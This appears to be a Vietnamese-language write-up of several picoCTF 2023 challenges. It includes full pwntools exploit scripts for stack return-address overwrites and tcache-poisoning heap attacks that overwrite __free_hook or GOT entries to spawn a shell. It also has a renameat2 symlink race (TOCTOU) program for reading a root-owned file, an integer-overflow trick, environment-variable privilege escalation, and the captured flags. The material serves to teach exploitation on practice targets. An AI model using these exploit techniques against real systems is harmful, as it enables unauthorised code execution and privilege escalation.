# (writeup) picoCTF 2023
## babygame01
- check file:

`` chúa ghét 32 bit``
- checksec:

- check ida:
- vì là file32 nên ida trên máy decompile hay bị lỗi nên xin phép gửi source copy =))))))
`` chỉ copy những hàm liên quan để khai thác thôi nha ``
```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+1h] [ebp-AA5h]
int v5[2]; // [esp+2h] [ebp-AA4h] BYREF
char v6; // [esp+Ah] [ebp-A9Ch]
char v7[2700]; // [esp+Eh] [ebp-A98h] BYREF
unsigned int v8; // [esp+A9Ah] [ebp-Ch]
int *p_argc; // [esp+A9Eh] [ebp-8h]
p_argc = &argc;
v8 = __readgsdword(0x14u);
init_player((int)v5);
init_map((int)v7, v5);
print_map((int)v7, (int)v5);
signal(2, (__sighandler_t)sigint_handler);
do
{
do
{
v4 = getchar();
move_player(v5, v4, (int)v7);
print_map((int)v7, (int)v5);
}
while ( v5[0] != '\x1D' );
}
while ( v5[1] != 'Y' );
puts("You win!");
if ( v6 )
{
puts("flage");
win();
fflush(stdout);
}
return 0;
}
```
- hàm **main** sẽ nhảy vào function **move_player**
- ngoài ra trong chính hàm **main** có lun **win** (hướng khai thác chính là đây)
```c
_BYTE *__cdecl move_player(int *a1, char a2, int a3)
{
_BYTE *result; // eax
if ( a2 == 'l' )
player_tile = getchar();
if ( a2 == 'p' )
solve_round(a3, a1);
*(_BYTE *)(a1[1] + a3 + 90 * *a1) = 46;
switch ( a2 )
{
case 'w':
--*a1;
break;
case 's':
++*a1;
break;
case 'a':
--a1[1];
break;
case 'd':
++a1[1];
break;
}
result = (_BYTE *)(a1[1] + a3 + 90 * *a1);
*result = player_tile;
return result;
}
```
- và có hàm đặc biệt là **solve_round**
```c
int __cdecl solve_round(int a1, int *a2)
{
int result; // eax
while ( a2[1] != 'Y' )
{
if ( a2[1] > 'X' )
move_player(a2, 'a', a1);
else
move_player(a2, 'd', a1);
print_map(a1, (int)a2);
}
while ( *a2 != '\x1D' )
{
if ( a2[1] > 28 )
move_player(a2, 115, a1);
else
move_player(a2, 119, a1);
print_map(a1, (int)a2);
}
sleep(0);
result = *a2;
if ( *a2 == '\x1D' )
{
result = a2[1];
if ( result == 'Y' )
return puts("You win!");
}
return result;
}
```
- bắt đầu 1 trò chơi thì ta đg đứng ở vị trí 4 4

- mục tiêu ta là vị trí 29 89, tức là ta đang là nhân vật ``@``, cần di chuyển đến ``X``
- nhưng như vậy thì ai chả làm được, chỉ với 4 phím 'w', 'a', 's', 'd' hoặc theo source thì 'p' là tự động hoàn thành ván game
- win thì win đấy, nhưng đâu cho flag
- ngoài ra phía trên ta còn 1 dòng ``player has flag: 0``
- là chưa có flag nên k in flag, có dị thui
- hint : `` cố nhân có câu: lùi 1 bước để tiến 3 bước``
- nhìn source phía trên:
```c
if ( v6 )
{
puts("flage");
win();
fflush(stdout);
}
```
- **v6** là con trỏ của mình, tức là **v6** là con ``@``
```c
int v5[2]; // [esp+2h] [ebp-AA4h] BYREF
char v6; // [esp+Ah] [ebp-A9Ch]
char v7[2700]; // [esp+Eh] [ebp-A98h] BYREF
```
- **v6** nằm trên **v7**, **v7** là mảng in ra bản đồ ta chơi, vậy có nghĩa ta có thể truy cập **v6** bên ngoài **v7**
- trước hết ta lui dề vị trí 0 0
``gửi 'aaaawwww'``

- vậy giả sử lui thêm thì sao, lui dùng 'a'
- con 'a' đầu tiên gửi vào thì nhân vật ``@`` đã bị ngoài vùng phủ sóng =)))))))

- tiếp tục gửi thêm 'a' thì thấy đến con 'a' thứ 4 kể từ vị trí 0 0 thì ta có dòng này

- gửi thêm thì sao nhỉ?
``core dump``
- vậy ta dừng lại ở đó vì đã có flag trong tay, ta gửi thêm 'p' vào và....

- bài này có thể k cần script, nhưng sẽ viết ra để mng theo dõi:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./game',checksec=False)
p = process(exe.path)
payload = b'aaaawwww'
p.sendline(payload)
payload = b'aaaap'
p.sendline(payload)
p.interactive()
```
>picoCTF{gamer_m0d3_enabled_10567bc2}
___
## two-sum
- source code:
```c
#include <stdio.h>
#include <stdlib.h>
static int addIntOvf(int result, int a, int b) {
result = a + b;
if(a > 0 && b > 0 && result < 0)
return -1;
if(a < 0 && b < 0 && result > 0)
return -1;
return 0;
}
int main() {
int num1, num2, sum;
FILE *flag;
char c;
printf("n1 > n1 + n2 OR n2 > n1 + n2 \n");
fflush(stdout);
printf("What two positive numbers can make this possible: \n");
fflush(stdout);
if (scanf("%d", &num1) && scanf("%d", &num2)) {
printf("You entered %d and %d\n", num1, num2);
fflush(stdout);
sum = num1 + num2;
if (addIntOvf(sum, num1, num2) == 0) {
printf("No overflow\n");
fflush(stdout);
exit(0);
} else if (addIntOvf(sum, num1, num2) == -1) {
printf("You have an integer overflow\n");
fflush(stdout);
}
if (num1 > 0 || num2 > 0) {
flag = fopen("flag.txt","r");
if(flag == NULL){
printf("flag not found: please run this on the server\n");
fflush(stdout);
exit(0);
}
char buf[60];
fgets(buf, 59, flag);
printf("YOUR FLAG IS: %s\n", buf);
fflush(stdout);
exit(0);
}
}
return 0;
}
```
- đọc 1 lần là hiểu lun, lỗi IOF cơ bản
- biến **a** và **b** khai báo kiểu _int_
- source đọc ngay phần nhập số và tính tổng đủ hiểu nó khá vô lí rồi kkkkk
- nhập 2 số dương r tính tổng, chỉ ra flag khi tổng "nhỏ" hơn 1 trong 2 số mình nhập
- nhưng mình sẽ lợi dụng điều này để khiến cho nó đúng
- giới hạn của _int_ :

- vậy để khiến tổng nhỏ hơn thì 2 số cộng lại phải vượt qua ngưỡng thiên đường _int_ kia ``2147483647``
- bởi khi vượt qua ngưỡng đó thì cơ số đếm lại thành 1+
- vậy 2 số ``3`` và ``2147483647`` là sự lựa chọn kha khá hợp lí
- bài này có lẽ k cần viết script

>picoCTF{Tw0_Sum_Integer_Bu773R_0v3rfl0w_bc0adfd1}
___
## babygame02
- check file

- checksec

- check ida
`` cũng như trên, copy dán thui nha, nhưng sẽ dán những hàm sẽ có thể khai thác``
```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4[2]; // [esp+0h] [ebp-AA0h] BYREF
char v5[2700]; // [esp+Bh] [ebp-A95h] BYREF
char v6; // [esp+A97h] [ebp-9h]
int *p_argc; // [esp+A98h] [ebp-8h]
p_argc = &argc;
init_player(v4);
init_map(v5, v4);
print_map(v5);
signal(2, (__sighandler_t)sigint_handler);
do
{
do
{
v6 = getchar();
move_player(v4, v6, v5);
print_map(v5);
}
while ( v4[0] != 29 );
}
while ( v4[1] != 89 );
puts("You win!");
return 0;
}
```
`` về hàm move_player,solve_round cũng tương tự``
`` nhưng hàm win sẽ k display trên main mà func nằm gần main``
`` vì là hàm đọc flag nên ta sẽ ret2win``
- ta sẽ nhập từ từ để xem vị trí nào sẽ là save_eip
- đặt breakpoint ở đây (gần ``ret`` của move_player)

- ta thấy địa chỉ hàm **win** vs địa chỉ save_eip chỉ khác nhau 1 byte cuối


> 0x09 và 0x5d
- nhận vật của ta là ký tự '@', tương ứng là 0x40
- có câu lệnh 'l' sẽ đổi người chơi, vậy ta sẽ đổi người chơi từ '@' thành 1 byte cuối của **win**
- byte của 0x5d là ']'
- vậy cú pháp là ``payload = b'l]'`` ta sẽ gửi đầu tiên
- ta sẽ dùng ký tự 'a' để lùi sang trái tiếp tục, đến khi nào ow dc eip sẽ dừng

- đến đây ta thấy địa chỉ ``0x5d049709``, ow sắp tới nơi (do địa chỉ trên k có nghĩa nên eip access vào nó sẽ báo lỗi)
- vậy payload ta thêm 3 con 'a' vào
`` bài này phải debug liên tục để check stack``

- hurray🎉
- chạy tiếp thì ...... ``sigsegv fault``
- hmmmmmmmmmmmmmmmmmmm, có thể .... stack lẻ =)))
- (giống bị lỗi xmm kkkkkk)
- chứ nhảy vào **win** là thành công r
- check tiếp **win** : ``disas win``

- thay vì nhảy vào <win+0> thì ta sẽ nhảy vào <win+28>, nhảy sau mấy cái *nop* quái dị

- vậy ta đổi payload ở ban đầu từ 'l]' sang 'ly'
- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./game',checksec=False)
#p = process(exe.path)
p = remote('saturn.picoctf.net', 59295)
payload = b'ly'
p.sendline(payload)
payload = b'wwwaaaaaaaaaaaaaa'
p.sendline(payload)
#input()
payload = b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaw'
p.sendline(payload)
p.interactive()
```

>picoCTF{gamer_jump1ng_4r0unD_8d141e10}
___
## hijacking
- ở bài này k có cho source hay binary j cả
- nhận được hint ở description là **tag** ``privillage escalation``

- ngoài ra cũng có dc hint exploit kỹ thuật ``privillage escalation`` ấy là 1 [link ytb](https://www.youtube.com/watch?v=0IGRQjAPaoU&list=PL95wzTb6K4yfSsmXDSZyj_e9kWosMGXWx&index=20)
- khai thác tương tự ta có flag:




>picoCTF{pYth0nn_libraryH!j@CK!n9_4c188d27}
___
## VNE
- bài này tương tự leo thang đặc quyền
- kết nối và xem thử

- báo là chúng ta thiếu biến môi trường

- không thể khai thác như trên dc
- mô tả cho ta hint

- ta phải tải file **bin** về máy mình và sử dụng ida để check
- phương thức:
```scp -P <port> username@host:<path-to-file-on-server> <path-to-file-in-local>```

- check ida


- ở đây yêu cầu ta phải có biến môi trường SECRET_DIR
- nếu không sẽ báo lỗi như trên

- tra gg cách tạo biến môi trường...
```
$ SECRET_DIR='-la'
$ export SECRET_DIR
```

- hmmm, hay là ta chỉnh lại xíu
- hint:

- chỉnh lại nè

- hmmm
- chỉnh thêm cái nữa


>picoCTF{Power_t0_man!pul4t3_3nv_d0cc7fe2}
___
## tic-tac
- ở bài này description có hashtag #toctou
- check source:
```c
#include <iostream>
#include <fstream>
#include <unistd.h>
#include <sys/stat.h>
int main(int argc, char *argv[]) {
if (argc != 2) {
std::cerr << "Usage: " << argv[0] << " <filename>" << std::endl;
return 1;
}
std::string filename = argv[1];
std::ifstream file(filename);
struct stat statbuf;
// Check the file's status information.
if (stat(filename.c_str(), &statbuf) == -1) {
std::cerr << "Error: Could not retrieve file information" << std::endl;
return 1;
}
// Check the file's owner.
if (statbuf.st_uid != getuid()) {
std::cerr << "Error: you don't own this file" << std::endl;
return 1;
}
// Read the contents of the file.
if (file.is_open()) {
std::string line;
while (getline(file, line)) {
std::cout << line << std::endl;
}
} else {
std::cerr << "Error: Could not open file" << std::endl;
return 1;
}
return 0;
}
```
- khai thác như sau

- ``txtreader`` là file đọc flag có sẵn, dc compile bằng cource code c++ ``src.cpp``
- ``flag.txt`` sở hữu bởi ``root``
- viết 1 code c, dùng lệnh nano
- source:
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>
int main(int argc, char *argv[]) {
while (1) {
syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE);
}
return 0;
}
```
- compile bằng ``gcc``

- tạo 1 text giả trong mục /tmp/asd để kiểm tra

- tạo 1 thư mục và linking cái ``flag.txt`` vào thư mục đó
- lưu ý là linking đường dẫn vào đường dẫn

- tất nhiên đọc cái đường dẫn sẽ k dc

- tạo 1 đường dẫn fake

- chạy file mình đã compile phía trên

- lúc này trong hình, ``flag.txt`` sẽ nhảy qua lại giữa 2 thư mục ( có thể đồng thời 2 thư mục đều chứa ``flag.txt``)
- bruit force thôi

>picoCTF{ToctoU_!s_3a5y_107916f2}
---
## Horsetrack
- basic file check

- check ida (stripped nên rename lại 1 số function)


>**main()**
>tạo 1 chunk horse size 0x120

> tạo struct cho dễ nhìn

>**secret()**
>là option0
>option này là modify ngựa
>vị trí, nhập tên (16 bytes)
>sửa position
>r gắn biến **cheat=1**

>**add()**
>thêm ngựa (vị trí, độ dài tên,tên)
>khi nhập tên phải nhập đúng số lượng độ dài tên

>**remove()**
>xoá ngựa

> option3 : đua ngựa
> sẽ check xem mình có từng nhảy vào option0 (biến **cheat**)
> các hàm **idk** và **race_over** là làm gì gì đó tính toán (cho cuộc đua)
> hàm **move_horse** và **show_horse** sẽ lấy thông tin ngựa và bắt đầu race
> cuối cùng lấy thông tin ngựa chiến thắng bằng **get_winner**
### analyse
- vì bài này đi kèm libc6 nên sẽ có tcache
- trong hàm **add()** ta có thể thêm tối đa 17 con ngựa -> chỉ cần fill đủ là khi **remove()** là vào ubin
- và chương trình là kiểu đua ngựa nên có thể là Race Condition
- test thử

>tạo 5 ngựa và đua
>khi 1 con chiến thắng sẽ in ra "WINNER"
>nếu những con ngựa đó chứa các byte khác thì cách để leak hơi khoai
>nhưng bù lại animation khi đua hơi cute =)))))
- về hàm **get_name** lấy tên cho ngựa thì có 1 "tính năng"

>nếu data cho tên ngựa chứ byte '\xff' thì k cần nhập nhiều
>1 byte '\xff' là đủ
>nó sẽ k lưu cái data mới mình ow vào
- BUG : UAF trong hàm **secret()**

> không check ngựa có **in_use** hay không
- để mà **malloc()** lại vùng nhớ mình muốn thì bug UAF đó sẽ làm cho mình
- nhưng sẽ có cơ chế bảo vệ của tcache khi thay đổi fw_pointer ---> leak heap đầu tiên
- để lấy shell ta sẽ ow ``__free_hook``
### way1: OW free_hook (not work on server)
#### leak heap + leak libc
- đầu tiên ta cần fill tcache và **free** nó
- sau đó fill lại lần nữa với byte '\xff' để không thay đổi dữ liệu nào
```python
for i in range(12):
add(i,0x100,b'\xff')
info("######## --------" + str(i) + "-------- ########")
for i in range(11,-1,-1):
delete(i)
info("######## --------" + str(i) + "-------- ########")
for i in range(12):
add(i,0x100,b'\xff')
info("######## --------" + str(i) + "-------- ########")
```
>dù tcache count có 7, vào ubin là 8 nhưng ta lại cần đến 9 để **malloc** lại từ ubin sẽ vẫn còn ubin -> không bị mất libc_addr từ **main_area**
#### tcache poisoning + free_hook
- ta sẽ làm việc trên tcache (không trigger DBF được)
- thì để thay đổi ``fw_pointer`` ta chỉ còn cách này
- ta sẽ cần **malloc()** ra từ ``__free_hook``
- đầu tiên **free()** 2 chunk 1 và 0
- lúc này thứ tự trong bin là: [0] -> [1]
```python
target = (heap_base >> 12) ^ (libc.sym['__free_hook']-0x10)
info("target: " + hex(target))
cheat(0,p64(target) + b'\xff')
```
- ta sẽ sử dụng option0 để modify lại chunk
- lúc này trong bin: [0] -> ``__free_hook - 0x10``
- việc ta làm tiếp theo là **malloc()** ra chunk đó với data là '/bin/sh\0'
- rồi malloc tiếp theo nữa là **system** sau đó **free()** chunk chứa '/bin/sh\0' là có shell

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF("./vuln_patched",checksec=False)
libc = ELF("./libc.so.6",checksec=False)
ld = ELF("./ld-linux-x86-64.so.2",checksec=False)
if args.REMOTE:
p = remote('saturn.picoctf.net',62849)
else:
p = process(exe.path)
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*0x401dbf
b*0x40152c
b*0x401b32
b*0x40160f
b*0x401640
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
def add(index,length,name):
sla(b'Choice: ',b'1')
sla(b'(0-17)?',str(index))
sla(b'(16-256)?',str(length).encode())
sla(b'characters:',name)
def delete(index):
sla(b'Choice: ',b'2')
sla(b'(0-17)?',str(index).encode())
def race():
sla(b'Choice: ',b'3')
def cheat(index,name):
sla(b'Choice: ',b'0')
sla(b'(0-17)?',str(index).encode())
sla(b'characters:',name)
sla(b'spot? ',b'0')
def leak():
data = p.recvuntil('WINNER: ')
leaks = []
for line in data.split(b'\n')[0:10]: #split 10 lines
if b'|' not in data:
continue
line = line.strip(b' |\n\r') #remove space, b'|' and newline
info("Line: " + str(line))
leaks.append(u64(line.ljust(8,b'\0')))
leaks = [a for a in leaks if a != 0] #keep only have data
print([hex(a) for a in leaks])
first_leak = leaks[-1] #heap
second_leak = leaks[-2] #libc
info("#############################")
return (first_leak,second_leak)
for i in range(9):
add(i,0x100,b'\xff')
info("######## --------" + str(i) + "-------- ########")
for i in range(8,-1,-1):
delete(i)
info("######## --------" + str(i) + "-------- ########")
for i in range(9):
add(i,0x100,b'\xff')
info("######## --------" + str(i) + "-------- ########")
race()
(heap_leak, libc_leak) = leak()
heap_base = heap_leak << 12
info("heap base: " + hex(heap_base))
info("libc leak: " + hex(libc_leak))
libc.address = libc_leak - 0x1bde10
# libc.address = libc_leak - 0x1be040
info("libc base: " + hex(libc.address))
# GDB()
delete(1)
delete(0)
# [0] -> [1]
target = (heap_base >> 12) ^ (libc.sym['__free_hook']-0x10)
info("target: " + hex(target))
cheat(0,p64(target) + b'\xff')
add(10,0x100,b'/bin/sh\0' + b'\xff')
payload = b'a'*0x10
payload += p64(exe.sym['system'])
add(11,0x100,payload + b'\xff')
delete(10)
p.interactive()
```
### way2: OW setbuf@GOT
#### leak heap
- leak heap sẽ khác một chút so với way1
- ta sẽ khai khác chủ yếu ở 2 chunk đầu (0 và 1) có size 0x10
- và tạo 3 chunk cùng size là 0x18
> do muốn đua cần 5 con ngựa
```python
add(5,0x18, b'X'*0x18)
add(6,0x18, b'Y'*0x18)
add(7,0x18, b'Z'*0x18)
add(0,0x10, b'A'*0x10)
add(1,0x10, b'B'*0x10)
```
- sau đó ta chỉ cần **free()** 2 chunk 0 và 1 và tạo lại
```python
delete(0)
delete(1) #leak info heap
add(1,0x10, b"\xff") #not ow fd_pointer
add(0,0x10, b'A'*0x10)
```
- **race** là leak được heap pointer
- nhưng sẽ qua 1 bước là xor để trỏ về chunk trước đó
```python
def prev(ptr):
prev_ptr = (ptr >> 12) ^ ptr
return (prev_ptr >> 24) ^ prev_ptr
```
#### GOT layout
- ta sẽ nhắm đến cơ chế của **setbuf()** là sẽ set 3 cái **stdin** **stdout** và **stderr**
- tức là sẽ đưa **stderr** (target) vào hàm **setbuf()** và "do stuff"
- vậy ta chỉ cần **stderr** là 'sh'
- GOT của **setbuf()** là **system()** là có shell
- nhưng để nhảy tới bước setup của **setbuf()** ta nhắm đến hàm **printf()** khi kết thúc 1 giai đoạn của chương trình

- target: bắt đầu ghi vào địa chỉ ``0x404040``
``payload = p64(A) + p64(B) + p64(C)``
> với A là system@plt (setbuf@GOT)
> với B là system@plt (system@GOT)
> với C là địa chỉ trỏ đến lúc đưa **stderr** vào và call **setbuf()** (printf@GOT)
#### ow stderr = 'sh'
- ow bằng tcache poisoning như bình thường
- ``stderr`` = 0x4040e0 sẽ chứa 0x4040e8 trỏ đến 'sh'
```python
delete(0)
delete(1)
# [1] -> [0]
target = exe.sym['stderr']
info("target: " + hex(target))
payload = p64((ptr >> 12) ^ target)
cheat(1, payload + b'\xff')
add(1,0x10, b"A" * 0x10) #take out
payload = p64(target + 8)
payload += b'sh'.ljust(8,b'\0')
add(0,0x10, payload + b'\xff') #write
# now stderr point -> "sh"
```
#### ow GOT (setbuf, system, printf)
- tương tự như thế nhưng sẽ ở chunk khác
```python
delete(5)
delete(6)
# [6] -> [5]
target = exe.got["setbuf"] # 0x404040
info("target: " + hex(target))
payload = p64((ptr >> 12) ^ target)
cheat(6, payload + b'\xff')
add(6,0x18, b'A'*0x18) #take out
# got table layout: setbuf, system, printf
resolve_system = exe.plt['system']+6
add(5,0x18, p64(resolve_system) * 2 + p64(0x401b90))
```

>địa chỉ sẽ nhảy về: 0x401b90

>nhảy ở plt+6
### get flag

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF("./vuln_patched",checksec=False)
libc = ELF("./libc.so.6",checksec=False)
ld = ELF("./ld-linux-x86-64.so.2",checksec=False)
if args.REMOTE:
p = remote('saturn.picoctf.net',56744)
else:
p = process(exe.path)
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*0x401dbf
b*0x40152c
b*0x401b32
b*0x40160f
b*0x401640
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
def add(index,length,name):
sla(b'Choice: ',b'1')
sla(b'(0-17)?',str(index).encode())
sla(b'(16-256)?',str(length).encode())
sla(b'characters:',name)
def delete(index):
sla(b'Choice: ',b'2')
sla(b'(0-17)?',str(index).encode())
def race():
sla(b'Choice: ',b'3')
def cheat(index,name):
sla(b'Choice: ',b'0')
sla(b'(0-17)?',str(index).encode())
sla(b'characters:',name)
sla(b'spot? ',b'0')
def prev(ptr):
prev_ptr = (ptr >> 12) ^ ptr
return (prev_ptr >> 24) ^ prev_ptr
def show(idx):
data = p.recvuntil('WINNER: ')
leaks = []
for line in data.split(b'\n')[1:10]: #split lines
if b'|' not in data:
continue
line = line.strip(b' |\n\r') #remove space, b'|' and newline
info("Line: " + str(line))
leaks.append(line)
leaks = [a for a in leaks if a != 0] #keep only have data
print(leaks)
first_leak = leaks[idx]
info("#############################")
return (first_leak)
add(5,0x18, b'X'*0x18)
add(6,0x18, b'Y'*0x18)
add(7,0x18, b'Z'*0x18)
add(0,0x10, b'A'*0x10)
add(1,0x10, b'B'*0x10)
delete(0)
delete(1) #leak info heap
add(1,0x10, b"\xff")
add(0,0x10, b'A'*0x10)
race()
leak = show(1)
leak = u32(leak.ljust(4,b'\0'))
info("leaking: " + hex(leak))
# GDB()
ptr = prev(leak)
info("need: " + hex(ptr)) # points to name for chunk 0
delete(0)
delete(1)
# [1] -> [0]
target = exe.sym['stderr']
info("target: " + hex(target))
payload = p64((ptr >> 12) ^ target)
cheat(1, payload + b'\xff')
add(1,0x10, b"A" * 0x10) #take out
payload = p64(target + 8)
payload += b'sh'.ljust(8,b'\0')
add(0,0x10, payload + b'\xff') #write
# now stderr point -> "sh"
delete(5)
delete(6)
# [6] -> [5]
target = exe.got["setbuf"] # 0x404040
info("target: " + hex(target))
payload = p64((ptr >> 12) ^ target)
cheat(6, payload + b'\xff')
GDB()
add(6,0x18, b'A'*0x18) #take out
# got table layout: setbuf, system, printf
resolve_system = exe.plt['system']+6
add(5,0x18, p64(resolve_system) * 2 + p64(0x401b90))
p.interactive()
#picoCTF{t_cache_4ll_th3_w4y_2_th4_b4nk_4c03b907}
```
> picoCTF{t_cache_4ll_th3_w4y_2_th4_b4nk_f9c8bf9d}
---